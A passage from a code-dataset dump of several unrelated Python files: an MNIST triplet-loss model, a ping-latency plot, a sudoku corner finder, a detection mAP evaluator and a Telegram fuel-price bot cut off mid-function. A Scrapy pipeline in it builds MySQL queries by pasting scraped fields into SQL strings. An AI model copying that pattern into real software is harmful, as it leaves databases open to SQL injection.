False\ntrain_root = os.path.join(DATA_ROOT, 'training')\ntest_root = os.path.join(DATA_ROOT, 'testing')\nclasses = ['0', '5', '8']\n\ntransform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ntrain_dataset = MNISTTripletDataset(\n root=train_root,\n ntriplets=1000,\n classes=classes,\n transform=transform)\ntest_dataset = MNISTTripletDataset(\n root=test_root,\n ntriplets=100,\n classes=classes,\n transform=transform)\n\n# HACK: To make torchsampler work (hopefully)\ntrain_dataset.num_inputs = 3\ntest_dataset.num_inputs = 3\ntrain_dataset.num_targets = 0\ntest_dataset.num_targets = 0\n\n\n\ntrain_loader = DataLoader(train_dataset, batch_size=32, shuffle=True)\nval_loader = DataLoader(test_dataset, batch_size=32, shuffle=False)\n\n\nclass Network(nn.Module):\n def __init__(self):\n super(Network, self).__init__()\n self.conv1 = nn.Conv2d(3, 32, kernel_size=3)\n self.conv2 = nn.Conv2d(32, 64, kernel_size=3)\n self.fc1 = nn.Linear(1600, 128)\n self.fc2 = nn.Linear(128, 2)\n\n def single_forward(self, x):\n x = F.relu(F.max_pool2d(self.conv1(x), 2))\n x = F.relu(F.max_pool2d(self.conv2(x), 2))\n x = x.view(-1, 1600)\n x = F.relu(self.fc1(x))\n x = F.dropout(x, training=self.training)\n x = self.fc2(x)\n return x\n\n def forward(self, x, y, z):\n return (self.single_forward(x),\n self.single_forward(y),\n self.single_forward(z))\n\n\n\n\nmodel = Network()\nif use_gpu:\n model.cuda()\n cuda_device = 0\nelse:\n cuda_device = -1\n\ntrainer = ModuleTrainer(model)\nloss = torch.nn.TripletMarginLoss()\noptimizer = torch.optim.Adam\nmetrics = None\n\ntrainer.compile(loss=loss, optimizer=optimizer, metrics=metrics)\ntrainer.fit_loader(train_loader, val_loader, cuda_device=cuda_device)\n","sub_path":"examples/mnist_triplet_loss.py","file_name":"mnist_triplet_loss.py","file_ext":"py","file_size_in_byte":4609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"143609468","text":"import matplotlib.pyplot as plt\r\n# import numpy as np\r\n# import matplotlib.figure.Figure \r\nimport pandas as pd\r\n\r\ndatetimeparse = lambda x: pd.datetime.strptime(x, '%Y-%m-%d %H:%M:%S')\r\npd_ping = pd.read_csv('C:\\\\Users\\\\marti\\\\workspace\\\\RemoteSystemsTempFiles\\\\192.168.0.33\\\\home\\\\pi\\\\mm\\\\ping-host-2017-02.log', \r\n names=[\"datetime\", \"command\", \"ms\", \"unit\", \"ip\", \"comment\"],\r\n usecols=[\"datetime\", \"command\", \"ms\", \"unit\", \"ip\"],\r\n parse_dates = [\"datetime\"],\r\n infer_datetime_format = True,\r\n skipinitialspace=True,\r\n #date_parser=datetimeparse,\r\n #index_col = 0,\r\n sep='\\t')\r\n\r\nhosts = [\"www.orf.at\", \"www.google.at\", \"www.derstandard.at\", \"www.theverge.com\", \"www.nyt.com\"]\r\ndays = 3\r\n# hosts = [\"www.derstandard.at\"]\r\n\r\n\r\n# pd.core.strings.str_strip(pd_ping['command'])\r\n\r\npd_ping = pd_ping.tail(len(hosts) * 12 * 24 * days)\r\n\r\n#print(pd_ping.loc[:, 'ms'] < 10)\r\n#print(type(pd_ping[0,'ms']))\r\nprint(type(pd_ping['command']))\r\n# print(pd_ping.loc[pd_ping['ms'] > 1900])\r\n\r\n\r\npd_hosts = {}\r\nfor host in hosts:\r\n print(host)\r\n pd_hosts[host] = pd_ping.loc[pd_ping['command'].str.strip() == 'ping ' + host]\r\n #plt.plot(pd_hosts[host].datetime, pd_hosts[host].ms, label=host, linestyle='None', marker='.', markersize=3)\r\n #pd_rmean = pd_hosts[host].ms.rolling(center=False, window=6).mean() \r\n #plt.plot(pd_hosts[host].datetime, pd_rmean.values + 50, label=host)\r\n plt.hist(pd_hosts[host].ms, bins=100, range=[0, 100], histtype='step', label=host)\r\n\r\n# plt.hist(pd_hosts.ms, bins=100, range=[0, 100])\r\n \r\n \r\n \r\nhost = \"www.google.at\"\r\n\r\n\r\n# print(\"'\" + pd_ping.loc[0, 'command'].strip() + \"'\")\r\n\r\n#plt.show()\r\n#pd_ping2 = pd_ping.\r\n#print(pd_ping[\"datetime\"])\r\n\r\n#plt.plot_date(pd_ping.datetime, pd_ping.ms, marker='1', xdate=True)\r\n\r\n#print([dt.datetime for dt in pd_ping.datetime])\r\n#plt.scatter([dt.date() for dt in pd_ping.datetime], pd_ping.ms)\r\nplt.suptitle('Ping-Zeiten', fontsize=20)\r\nplt.ylabel('ms', fontsize=14)\r\n#plt.yscale('log')\r\n#plt.subplot().locator_params('x', nbins=days)\r\n#plt.ylim(0,300)\r\n#\r\n\r\n\r\n#plt.axes().get_xaset_xticks(7)\r\nplt.legend()\r\nplt.gcf().set_size_inches(18, 5, forward=True)\r\n\r\nplt.savefig(\"t.png\")\r\nplt.show()\r\n\r\n","sub_path":"Network-Reliability-Analysis/graphgenerator.py","file_name":"graphgenerator.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"29419505","text":"import shutil\nfrom pylingdocs.output import update_structure\n\n\ndef test_update(caplog, md_path, tmp_path, data, monkeypatch):\n\n shutil.copy(data / \"metadata.yaml\", tmp_path / \"metadata.yaml\")\n shutil.copytree(data / \"content\", tmp_path / \"content\")\n (tmp_path / \"bench\").mkdir()\n\n update_structure(\n content_dir=tmp_path / \"content\",\n bench_dir=tmp_path / \"bench\",\n structure_file=tmp_path / \"content\" / \"structure.yaml\",\n prefix_mode=\"alpha\",\n )\n\n assert \"Updating document \" in caplog.text\n assert \"E sources\" in caplog.text\n\n update_structure(\n content_dir=tmp_path / \"content\",\n bench_dir=tmp_path / \"bench\",\n structure_file=tmp_path / \"content\" / \"structure.yaml\",\n prefix_mode=\"numerical\",\n )\n\n assert \"5000 sources\" in caplog.text\n","sub_path":"tests/test_update.py","file_name":"test_update.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"288121413","text":"#Goal: Correctly detect all 4 corners of all 50 sudoku boards which will eventually be in the sudoku_midterm folder, which will be pulled from sudoku_square images for the mean time\n#Recommended starter code is from sudoku_grid_find.py\n\n\"\"\"\nErode image with 5x5 kernel\nRun connected components (stats is a 5-tuple: x and y of top right of bounding rect of component; width and height of bounding rect, number of pixels in component)\nTake biggest\nFind corners\nDone!\n\"\"\"\n\nimport numpy as np\nimport cv2\n\n#Globals\n#proc_img = cv2.imread(\"sudoku_square/sudoku5.png\", cv2.IMREAD_GRAYSCALE)\nproc_img = cv2.imread(\"sudoku_square/sudoku72.png\", cv2.IMREAD_GRAYSCALE)\nfinal_img = proc_img\nharris_threshold = 0\n\n#Preprocessing step to darken black lines and make grey areas white\ndef enhance_writing(im):\n img_orig = im\n #lightens white, darkens dark\n img = cv2.adaptiveThreshold(img_orig, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 7, 3)\n\n\n '''\n cv2.imshow(\"Sawyer\", img)\n cv2.imshow(\"Orig\", img_orig)\n cv2.waitKey()\n cv2.destroyAllWindows()\n '''\n #expands dark areas\n kernel = np.ones((5, 5), np.uint8)\n img2 = cv2.erode(img, kernel, iterations=1)\n\n # Labels is an \"image\" where each pixel is the label of that pixel's connected component\n ret, labels, stats, centroids = cv2.connectedComponentsWithStats(255-img2)\n print(np.max(labels))\n for i in range(np.max(labels)):\n img3 = img2.copy()\n img3[labels != i] = 255\n\n '''\n cv2.imshow(\"One Component\", img3)\n if i == 33: cv2.waitKey()\n cv2.waitKey(20)\n print(\"component\", i, stats[i])\n '''\n\n return img\n\n#get_corners takes an image where the corners have been marked in blue\ndef get_corners(img):\n x = []\n y = []\n i_counter = len(img)\n j_counter = len(img[0])\n for i in range(i_counter):\n for j in range(j_counter):\n if img[i][j][0] == 255:\n y.append(i)\n x.append(j)\n upper = min(y)\n lower = max(y)\n left = min(x)\n right = max(x)\n return_list = ([upper, left], [upper, right], [lower, left], [lower, right])\n return return_list\n\n\n\n\n# Finds the four segments bounding a sudoku board img using Harris corner\ndef sudoku_bounds(im):\n cv2.imshow(\"Original\", im)\n img = cv2.adaptiveThreshold(im, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 15, 3)\n img_col = cv2.cvtColor(im, cv2.COLOR_GRAY2BGR) # color\n harris = cv2.cornerHarris(im,4,5,0.04)\n\n img_col[harris > 0.01*harris.max()]=[255, 0, 0]\n #return img_col\n\n corners = get_corners(img_col)\n return corners\n\n '''\n cv2.imshow(\"Harris\", img_col)\n cv2.waitKey(1000)\n return [(0, 0), (100, 100), (0, 100), (100, 0)] #this line is not necessary for Harris corner detection and was added to have something to return\n '''\n\ndef find_corners(im):\n #final_img = sudoku_bounds(enhance_writing(proc_img))\n corners = sudoku_bounds(enhance_writing(proc_img))\n return corners\n\nfind_corners(proc_img)\n#cv2.imshow(\"Original\", proc_img)\n#cv2.imshow(\"Processed\", final_img)\ncv2.waitKey()\ncv2.destroyAllWindows()","sub_path":"sudoku_corner_finder_bak.py","file_name":"sudoku_corner_finder_bak.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"271909967","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport pymysql\n\nclass BtSpiderPipeline(object):\n\tdef __init__(self):\n\t\tself.conn = pymysql.connect(host='*', user='*', passwd='*', db='*', port=3306, charset='utf8')\n\n\tdef process_item(self, item, spider):\n\t\tcur = self.conn.cursor()\n\t\t# 判断电影存在\n\t\tcount_movie = \"select count(*) from movie where movie_name in(select movie_name from movie having replace(movie_name,' ','') like replace('%s', ' ', ''))\" % item['movie_name']\n\t\tcur.execute(count_movie)\n\t\tcount = cur.fetchall()[0][0]\n\t\t# 电影不存在则添加电影\n\t\tif count == 0:\n\t\t\tadd_movie = \"insert into movie(movie_id, movie_name, movie_rating) values(NULL, '%s', %f)\" % (item['movie_name'], item['douban_rating'])\n\t\t\tcur.execute(add_movie)\n\t\t\tself.conn.commit()\n\t\t# 电影存在 获取电影编号\n\t\tid_movie = \"select movie_id, movie_name from movie having replace(movie_name,' ','') like replace('%s', ' ', '')\" % item['movie_name']\n\t\tcur.execute(id_movie)\n\t\tmovie_id = cur.fetchall()[0][0]\n\t\t# 判断种子存在\n\t\tcount_bt = \"select count(*) from bt where bt_name = '%s'\" % item['bt_name']\n\t\tcur.execute(count_bt)\n\t\tcount = cur.fetchall()[0][0]\n\t\t# 种子不存在就添加种子\n\t\tif count == 0:\n\t\t\tadd_bt = \"insert into bt(bt_id, movie_id, root_url, bt_name, bt_size, inner_movie_id, bt_hash, bt_from) values(NULL, %d, '%s', '%s', '%s', '%s', '%s', '%s')\" % (movie_id, item['root_url'], item['bt_name'], item['bt_size'], item['inner_movie_id'], item['bt_hash'], item['bt_from'])\n\t\t\tcur.execute(add_bt)\n\t\t\tself.conn.commit()\n\t\tcur.close()\n\t\treturn item\n\n\tdef __del__(self):\n\t\tself.conn.close()","sub_path":"BtSpider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"580291309","text":"import os\nimport numpy as np\nfrom copy import deepcopy\nimport glob\nimport time\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style('white')\nsns.set_context('poster')\n\nCOLORS = [\n '#1f77b4', '#aec7e8', '#ff7f0e', '#ffbb78', '#2ca02c',\n '#98df8a', '#d62728', '#ff9896', '#9467bd', '#c5b0d5',\n '#8c564b', '#c49c94', '#e377c2', '#f7b6d2', '#7f7f7f',\n '#c7c7c7', '#bcbd22', '#dbdb8d', '#17becf', '#9edae5']\n\n\ndef cal_iou_individual(pred_box, gt_box):\n xc_t, yc_t, w_t, h_t = gt_box\n xc_p, yc_p, w_p, h_p = pred_box\n\n x1_t, y1_t, x2_t, y2_t = xc_t - w_t/2, yc_t - h_t/2, xc_t + w_t/2, yc_t + h_t/2\n x1_p, y1_p, x2_p, y2_p = xc_p - w_p/2, yc_p - h_p/2, xc_p + w_p/2, yc_p + h_p/2\n\n if (x2_t < x1_p or x2_p < x1_t or y2_t < y1_p or y2_p < y1_t):\n return 0.0\n\n far_x = np.min([x2_t, x2_p])\n near_x = np.max([x1_t, x1_p])\n far_y = np.min([y2_t, y2_p])\n near_y = np.max([y1_t, y1_p])\n\n inter_area = (far_x - near_x + 1) * (far_y - near_y + 1)\n true_box_area = (x2_t - x1_t + 1) * (y2_t - y1_t + 1)\n pred_box_area = (x2_p - x1_p + 1) * (y2_p - y1_p + 1)\n iou = inter_area / (true_box_area + pred_box_area - inter_area)\n return iou\n\n\ndef cal_single_image_results(gt_boxes, pred_boxes, iou_thr):\n all_pred_indices = range(len(pred_boxes))\n all_gt_indices = range(len(gt_boxes))\n\n if len(all_pred_indices) == 0:\n tp = 0\n fp = 0\n fn = len(gt_boxes)\n return {'true_pos': tp, 'false_pos': fp, 'false_neg': fn}\n if len(all_gt_indices) == 0:\n tp = 0\n fp = len(pred_boxes)\n fn = 0\n return {'true_pos': tp, 'false_pos': fp, 'false_neg': fn}\n\n gt_idx_thr = []\n pred_idx_thr = []\n ious = []\n for ipb, pred_box in enumerate(pred_boxes):\n for igb, gt_box in enumerate(gt_boxes):\n iou = cal_iou_individual(pred_box, gt_box)\n if iou > iou_thr:\n gt_idx_thr.append(igb)\n pred_idx_thr.append(ipb)\n ious.append(iou)\n\n args_desc = np.argsort(ious)[::-1]\n if len(args_desc) == 0:\n tp = 0\n fp = len(pred_boxes)\n fn = len(gt_boxes)\n else:\n gt_match_idx = []\n pred_match_idx = []\n for idx in args_desc:\n gt_idx = gt_idx_thr[idx]\n pr_idx = pred_idx_thr[idx]\n if (gt_idx not in gt_match_idx) and (pr_idx not in pred_match_idx):\n gt_match_idx.append(gt_idx)\n pred_match_idx.append(pr_idx)\n tp = len(gt_match_idx)\n fp = len(pred_boxes) - len(pred_match_idx)\n fn = len(gt_boxes) - len(gt_match_idx)\n\n return {'true_pos': tp, 'false_pos': fp, 'false_neg': fn}\n\ndef cal_precision_recall(results):\n true_pos = 0; false_pos = 0; false_neg = 0\n for _, res in results.items():\n true_pos += res['true_pos']\n false_pos += res['false_pos']\n false_neg += res['false_neg']\n\n try:\n precision = true_pos/(true_pos + false_pos)\n except ZeroDivisionError:\n precision = 0.0\n try:\n recall = true_pos/(true_pos + false_neg)\n except ZeroDivisionError:\n recall = 0.0\n\n return precision, recall\n\ndef cal_scores_map(pred_boxes):\n scores_map = {}\n for img_id, val in pred_boxes.items():\n for score in val['scores']:\n score = np.floor(score / 0.005) * 0.005 + 0.005\n if score not in scores_map.keys():\n scores_map[score] = [img_id]\n else:\n scores_map[score].append(img_id)\n return scores_map\n\n# def cal_scores_map(pred_boxes):\n# model_scores_map = {}\n# for img_id, val in pred_boxes.items():\n# for score in val['scores']:\n# if score not in model_scores_map.keys():\n# model_scores_map[score] = [img_id]\n# else:\n# model_scores_map[score].append(img_id)\n# return model_scores_map\n\ndef cal_avg_precision_at_iou(gt_boxes, pred_boxes, iou_thr=0.5):\n scores_map = cal_scores_map(pred_boxes)\n sorted_scores = sorted(scores_map.keys())\n\n for img_id in pred_boxes.keys():\n arg_sort = np.argsort(pred_boxes[img_id]['scores'])\n pred_boxes[img_id]['scores'] = np.array(pred_boxes[img_id]['scores'])[arg_sort].tolist()\n pred_boxes[img_id]['boxes'] = np.array(pred_boxes[img_id]['boxes'])[arg_sort].tolist()\n\n pred_boxes_pruned = deepcopy(pred_boxes)\n\n precisions = []\n recalls = []\n score_thrs = []\n results = {}\n\n for ithr, score_thr in enumerate(sorted_scores[:-1]):\n img_ids = gt_boxes.keys() if ithr == 0 else scores_map[score_thr]\n\n for img_id in img_ids:\n gt = gt_boxes[img_id]\n scores = pred_boxes_pruned[img_id]['scores']\n start_idx = 0\n for score in scores:\n if score <= score_thr:\n start_idx += 1\n else:\n break\n\n pred_boxes_pruned[img_id]['scores'] = pred_boxes_pruned[img_id]['scores'][start_idx:]\n pred_boxes_pruned[img_id]['boxes'] = pred_boxes_pruned[img_id]['boxes'][start_idx:]\n\n # calculate...\n results[img_id] = cal_single_image_results(gt, pred_boxes_pruned[img_id]['boxes'], iou_thr)\n\n prec, rec = cal_precision_recall(results)\n precisions.append(prec)\n recalls.append(rec)\n score_thrs.append(score_thr)\n\n precisions = np.array(precisions)\n recalls = np.array(recalls)\n prec_at_rec = []\n for recall_level in np.linspace(0.0, 1.0, 11):\n try:\n args = np.argwhere(recalls >= recall_level).flatten()\n prec = max(precisions[args])\n except ValueError:\n prec = 0.0\n prec_at_rec.append(prec)\n avg_prec = np.mean(prec_at_rec)\n\n return {\n 'avg_prec': avg_prec,\n 'precisions': precisions,\n 'recalls': recalls,\n 'score_thrs': score_thrs}\n\ndef plot_pr_curve(\n precisions, recalls, category='Person', label=None, color=None, ax=None):\n \"\"\"Simple plotting helper function\"\"\"\n\n if ax is None:\n plt.figure(figsize=(10,8))\n ax = plt.gca()\n\n if color is None:\n color = COLORS[0]\n ax.scatter(recalls, precisions, label=label, s=10, color=color)\n ax.set_xlabel('recall')\n ax.set_ylabel('precision')\n ax.set_title('Precision-Recall curve')\n ax.set_xlim([0.0,1.3])\n ax.set_ylim([0.0,1.2])\n return ax\n\ndef load_data():\n data_dir = '/home/sungsooha/Desktop/Data/ftfy/datasets/416/multi320/results/set2'\n file_list = glob.glob(os.path.join(data_dir, '*.npy'))\n\n pred_boxes = {}\n gt_boxes = {}\n\n for idx, f in enumerate(file_list):\n data = np.load(f).item()\n\n id = data['filename']\n pb = {\n 'boxes': np.reshape(data['coord'], (169, 4)),\n 'scores': np.reshape(data['confidence'], (169))\n }\n bbox = np.reshape(data['bbox'], (1, 4))\n\n pred_boxes[id] = pb\n gt_boxes[id] = bbox\n\n # if idx >= 1000:\n # break\n\n return pred_boxes, gt_boxes\n\nif __name__ == '__main__':\n pred_boxes, gt_boxes = load_data()\n\n iou_thr = 0.7\n start_time = time.time()\n data = cal_avg_precision_at_iou(gt_boxes, pred_boxes, iou_thr=0.5)\n end_time = time.time()\n print('Single IoU calculation took {:.4f} secs'.format(end_time - start_time))\n print('avg precision: {:.4f}'.format(data['avg_prec']))\n\n start_time = time.time()\n ax = None\n avg_precs = []\n iou_thrs = []\n for idx, iou_thr in enumerate(np.linspace(0.5, 0.95, 10)):\n data = cal_avg_precision_at_iou(gt_boxes, pred_boxes, iou_thr=iou_thr)\n avg_precs.append(data['avg_prec'])\n iou_thrs.append(iou_thr)\n\n precisions = data['precisions']\n recalls = data['recalls']\n ax = plot_pr_curve(\n precisions, recalls, label='{:.2f}'.format(iou_thr), color=COLORS[idx*2], ax=ax)\n\n # prettify for printing:\n avg_precs = [float('{:.4f}'.format(ap)) for ap in avg_precs]\n iou_thrs = [float('{:.4f}'.format(thr)) for thr in iou_thrs]\n print('map: {:.2f}'.format(100*np.mean(avg_precs)))\n print('avg precs: ', avg_precs)\n print('iou_thrs: ', iou_thrs)\n plt.legend(loc='upper right', title='IOU Thr', frameon=True)\n for xval in np.linspace(0.0, 1.0, 11):\n plt.vlines(xval, 0.0, 1.1, color='gray', alpha=0.3, linestyles='dashed')\n end_time = time.time()\n print('\\nPlotting and calculating mAP takes {:.4f} secs'.format(end_time - start_time))\n plt.show()\n\n","sub_path":"old/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":8510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"94345988","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 21 16:05:09 2019\r\n\r\n@author: David\r\n\r\nEin einfacher Telegram-Bot, der die günstigste Tankstelle im Umkreis des \r\nStandorts des Nutzers zurückgibt.\r\ngeschrieben mit Hilfe der python-telegram-bot Bibliothek. \r\nDie Dokumentation oder nähere Infos finden sich unter \r\nder Website: https://python-telegram-bot.org/.\r\n\r\nAuf die Preisdaten Tankstelle wird über die Tankerkönig-API zugegriffen. \r\nNähere Infos dazu unter: https://creativecommons.tankerkoenig.de/ .\r\n\r\nDie 'stations.csv' ist vom Repo der historischen Tankstellenpreise unter \r\n(https://dev.azure.com/tankerkoenig/tankerkoenig-data) -> repos -> stations. \r\nDiese Liste wird ständig aktualisiert.\r\nhttps://dev.azure.com/tankerkoenig/_git/tankerkoenig-data?path=%2Fstations%2Fstations.csv&version=GBmaster\r\n\r\n\r\nUm selbst einen Bot zu erstellen, muss zuerst über den '@BotFather' ein Bot \r\nerstellt werden (Infos zu den \r\nersten Schritten: https://core.telegram.org/bots#6-botfather).\r\n\r\nDie config.py Datei enthält lediglich die Information zum API-Token und kann \r\nganz einfach nach Einrichtung über '@BotFather' erstellt werden. \r\nSie sollte die folgende Zeile enthalten (und als config.py im Projektordner\r\nabgelegt werden):\r\n \r\nbot_token = \"\" \r\n\r\n\r\nNutzung:\r\nÜber Kommandozeile oder die IDE wie gewohnt ausführen. \r\nStrg + c sendet das Signal zum beenden des Bots\r\n\r\n\"\"\"\r\nfrom telegram import (ReplyKeyboardMarkup, KeyboardButton) \r\nfrom telegram.ext import (Updater, CommandHandler, MessageHandler, Filters,\r\n ConversationHandler)\r\nimport logging\r\nimport os\r\nimport requests\r\nimport pandas as pd\r\n\r\nimport config # information zum API Token\r\n\r\n# Logging zur Fehlerbehandlung und Dokumentation wird definiert\r\nlogging.basicConfig(\r\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\r\n level=logging.INFO)\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n# Liste aller Tankstellen in Deutschland, zum Download siehe Hinweis oben \r\nstations = pd.read_csv(\r\n f'{os.getcwd()}\\stations.csv',\r\n index_col=\"uuid\").fillna(\" \") # einige Angaben in der Liste fehlen\r\n\r\n# Definition von Tastatur-Markups die häufiger in Funktionen verwendet werden\r\nmenue_keyboard = [\r\n # in der Menü-Tastatur gibt es die Möglichkeit den Standort zu übermitteln\r\n [KeyboardButton(text=\"Standort teilen\", request_location=True),\r\n KeyboardButton(text='/beenden')]]\r\nend_keyboard = [[KeyboardButton(text=\"/menue\")]]\r\nstart_keyboard = [[KeyboardButton(text=\"/start\")]]\r\n\r\n# Texte die häufiger verwendet werden\r\nend_text = ('Solltest du noch weitere Informationen benötigen, gehe '\r\n 'einfach zurück ins Menü. \\n\\nMit \"menue\" kannst du das Gespräch '\r\n 'im Hauptmenü neu starten. ')\r\n\r\n\r\n# Dieser Radius wird verwendet, wenn die Eingabe des Nutzers nicht klappt\r\ndefault_radius = \"1.5\" \r\n\r\n# Um die Reihenfolge der Conversation einzuhalten, wird diese hier definiert\r\n# -> wird im ConversationHandler in dieser Reihenfolge verarbeitet\r\nGAS_TYPE, RADIUS = range(2)\r\nSTANDORT, NAVIGATION, RE_NAVIGATION = range(3)\r\n\r\n\r\n############ Funktionen zur Erstellung der Menüpunkte und des Dialogflusses\r\ndef start(update, context): \r\n \"\"\"Funktion zum Starten des Bots, Bot begrüßt und leitet weiter zu\r\n /Menü oder /einrichten\"\"\"\r\n \r\n logger.info(\"%s startet die Unterhaltung.\", \r\n update.message.from_user.first_name)\r\n intro = (\r\n f'Hi {update.message.chat.first_name}!\\n'\r\n f'Ich bin Bert und ich bin hier um dich bei der Suche nach den '\r\n f'aktuell günstigsten Spritpreisen zu unterstützen. '\r\n f'Diese Suche funktioniert leider auch nur in Deutschland '\r\n f'(sorry, lo siento, excuse, desculpa!). '\r\n f'Außerdem befinde ich mich gerade noch in der Entwicklung, '\r\n f'bitte sieh mir daher nach, dass manchmal nicht alles klappt '\r\n f'wie geplant.\\n\\nAber jetzt lass uns nicht lange '\r\n f'quatschen sondern direkt mit \\n\"einrichten\" meine Suche '\r\n f'für dich personalisieren!')\r\n start_keyboard = [[KeyboardButton(text=\"/einrichten\"),\r\n KeyboardButton(text=\"/menue\")]]\r\n update.message.reply_text(\r\n intro,\r\n reply_markup=ReplyKeyboardMarkup(\r\n start_keyboard, one_time_keyboard=True)\r\n )\r\n \r\ndef einrichten(update, context):\r\n \"\"\"Funktion im Hauptmenü um Kraftstoffart und Radius anzupassen\r\n Am ende der Funktion wird nach Kraftstoffart gefragt\"\"\"\r\n \r\n # Anpassen der anzuzeigenden Tastatur zur Reaktion auf die Nachricht\r\n gas_keyboard = [[KeyboardButton(text=\"diesel\"),\r\n KeyboardButton(text=\"e10\"),\r\n KeyboardButton(text=\"e5\")]]\r\n \r\n update.message.reply_text(\r\n ('Bitte gib die Benzinart ein, die du für gewöhnlich tankst.'),\r\n reply_markup=ReplyKeyboardMarkup(gas_keyboard,\r\n one_time_keyboard=True))\r\n\r\n return GAS_TYPE # Konversation wird von hier bei edit_gas_type fortgesetzt\r\n \r\ndef edit_gas_type(update, context):\r\n \"\"\" Auswahl der Kraftstoffart und Frage nach Radius\"\"\"\r\n gas_choice = update.message.text # Text wird vom User entgegengenommen\r\n # Ist die erhaltene Antwort eine mögliche Kraftstoffart?\r\n if gas_choice.lower() in [\"diesel\",\"e5\",\"e10\"]: \r\n context.user_data[\"gas_type\"] = gas_choice.lower() # abspeichern unter Benutzer\r\n # Nachricht wird erstellt (und am Ende versendet)\r\n msg = (f'Alles klar, ich werde dir immer die Preise für {gas_choice} '\r\n 'anzeigen')\r\n # Informationen werden in Logdatei geschrieben\r\n logger.info(\"%s hat die Benzinart %s ausgewählt\",\r\n update.message.chat.first_name, gas_choice)\r\n else:\r\n context.user_data[\"gas_type\"] = \"e10\"\r\n msg = ('Diese Option ist leider nicht hinterlegt, ich werde '\r\n f'standardmäßig Preise für {context.user_data[\"gas_type\"]}'\r\n ' anzeigen. Sollte das nicht gewünscht sein, wähle erneut '\r\n '\"einrichten\" im Menü'\r\n )\r\n logger.info(\r\n ('%s hat Benzinart %s eingegeben, daher wird der Standartwert'\r\n 'hinterlegt'),\r\n update.message.chat.first_name, gas_choice)\r\n question = ('Gib bitte über die Nummertasten bitte an, in welchem Radius '\r\n 'ich für dich nach Tankstellen suchen soll. In der Stadt '\r\n 'empfiehlt sich ein Radius von 1.5 während du auf dem Land '\r\n 'einen Radius bis zu 25 nehmen kannst. Bitte achte darauf, '\r\n 'dass deine Eingabe lediglich einen Zahlenwert enthält. '\r\n 'Kommazahlen sind dabei auch erlaubt. Versuche es einfach, '\r\n 'diese Einstellung kannst du später auch wieder ändern')\r\n # Absenden der vorerstellten Nachrichten an Nutzer\r\n update.message.reply_text(msg)\r\n update.message.reply_text(question)\r\n \r\n return RADIUS # Schritt Radius im ConversationHandler (siehe unten)\r\n\r\ndef edit_radius(update, context):\r\n \"\"\"Auswahl des Radiuses des Nutzers wird entgegengenommen und \"\"\"\r\n # Erstellt Nachricht für Falscheingabe\r\n wrong_input = ('Och nöö du musst mir schon zuhören! Deine Eingabe soll '\r\n 'eine Zahl zwischen 0 und 25 sein. Ich helfe dir und setze '\r\n 'den Radius auf 1.5')\r\n \r\n try: # Versucht ob Radius Zahl zwischen 0 und 20 ist\r\n radius_choice = float(update.message.text.replace(\",\",\".\"))\r\n if radius_choice>0 and radius_choice <= 25:\r\n # Auswahl wird unter User für zukünftige Abfragen gespeichert\r\n msg = f'Ich habe einen Suchradius von {radius_choice} km eingestellt'\r\n logger.info(\r\n \"%s hat einen Suchradius von %s hinterlegt.\",\r\n update.message.chat.first_name, radius_choice)\r\n else:\r\n radius_choice = 1.5\r\n msg = wrong_input\r\n logger.info(('%s hat Radius %s eingegeben, daher wird der '\r\n 'Standartwert hinterlegt'),\r\n update.message.chat.first_name, radius_choice)\r\n # wenn Eingabe nicht als Zahlenwert umgewandelt werden kann, wird der \r\n # Standartwert verwendet und der Nutzer darüber informiert\r\n except ValueError:\r\n radius_choice = 1.5\r\n msg = wrong_input\r\n logger.info(('%s hat Radius %s eingegeben, daher wird der Standartwert'\r\n 'hinterlegt'),\r\n update.message.chat.first_name, radius_choice)\r\n\r\n update.message.reply_text(msg)\r\n context.user_data['radius'] = radius_choice\r\n update.message.reply_text(\r\n \"Damit ist der Bot fertigeingerichtet und du kannst starten!\",\r\n reply_markup=ReplyKeyboardMarkup(end_keyboard, \r\n one_time_keyboard=True))\r\n return -1\r\n\r\ndef menue(update, context):\r\n \"\"\" Erstellt das Hauptmenü und fragt nach aktuellem Standort des Nutzers\"\"\"\r\n intro = (\r\n f'Lass uns loslegen {update.message.chat.first_name}!\\n'\r\n f'Indem du deinen Standort teilst, erhältst du die aktuellen '\r\n f'Benzinpreise in deiner Umgebung ')\r\n update.message.reply_text(\r\n intro,\r\n reply_markup=ReplyKeyboardMarkup(\r\n menue_keyboard, one_time_keyboard=True)\r\n )\r\n return NAVIGATION\r\n \r\ndef standort(update, context):\r\n \"\"\"Verarbeitet den aktuellen Standort der vom Nutzer gesendet wird und gibt\r\n Tankstelle in der Umgebung zurück\"\"\"\r\n # Voreinstellungen können über user_data ausgelesen werden\r\n user_data = context.user_data \r\n # auslesen des Vornamen des Telegramnutzers\r\n user = update.message.from_user\r\n # auslesen des gesendeten Standorts\r\n user_location = update.message.location\r\n \r\n logger.info(\"Standort von %s: %f / %f (lat/long)\", \r\n user.first_name, user_location.latitude,\r\n user_location.longitude)\r\n \r\n if 'radius' in user_data: # Überprüfung ob Nutzer Radius eingerichtet hat\r\n radius = str(user_data['radius']) # Zahl muss string für request sein\r\n else:\r\n radius = 